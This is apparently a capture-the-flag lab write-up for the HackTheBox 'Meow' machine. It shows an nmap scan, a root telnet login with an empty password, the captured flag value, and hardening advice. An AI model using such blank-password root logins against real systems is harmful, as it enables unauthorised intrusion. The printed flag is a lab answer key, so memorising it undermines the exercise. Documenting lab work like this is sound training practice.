

# HackTheBox: Meow Machine Penetration Test Report

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Tester: Lokeshwar

Machine: Starting Point – Meow

## Executive Summary

This penetration test was conducted on the HackTheBox “Meow” machine. The assessment identified a critical security misconfiguration where the Telnet service permitted root login with an empty password, resulting in complete system compromise.

## 1. Reconnaissance

### 1.1 Nmap Scan Results

```
$ sudo nmap -A -T4 10.129.64.121
PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
OS details: Linux 4.15 - 5.19
```

### 1.2 Findings

Port	23/tcp
Service	Telnet
Version	Linux telnetd
Operating System	Linux (Ubuntu)
Issue Identified	Root login allowed with empty password

## 2. Exploitation

### 2.1 Telnet Login

```
$ telnet 10.129.64.121
Trying 10.129.64.121...
Connected to 10.129.64.121.

Meow login: root
Password:

root@Meow:~#
```

## 2.2 Privilege Escalation

No privilege escalation was required since root access was obtained directly due to insecure authentication configuration.

## 3. Post-Exploitation

### 3.1 Flag Capture

```
root@Meow:~# cat /root/flag.txt
D40abdf23665766f9c61ecba8a4c19
```

### 3.2 System Overview

- Operating System: Ubuntu Linux
- Disk Usage: 41.7% of 7.75 GB
- Memory Usage: 4%
- Pending Updates: 75 (31 security-related)

## 4. Vulnerabilities Identified

Vulnerability	Description
Exposed Telnet Service	Unencrypted remote access service enabled
Weak Authentication	Root login allowed with empty password
Security Impact	Full system compromise
Risk Level	Critical

## 5. Recommendations

1. Disable Telnet service immediately
2. Enforce SSH with key-based authentication
3. Disable direct root login
4. Apply all pending security updates
5. Conduct periodic security audits

## 6. Conclusion

The Meow machine was fully compromised due to insecure Telnet configuration allowing root access without a password. This highlights the risks of legacy services and improper authentication controls in production environments.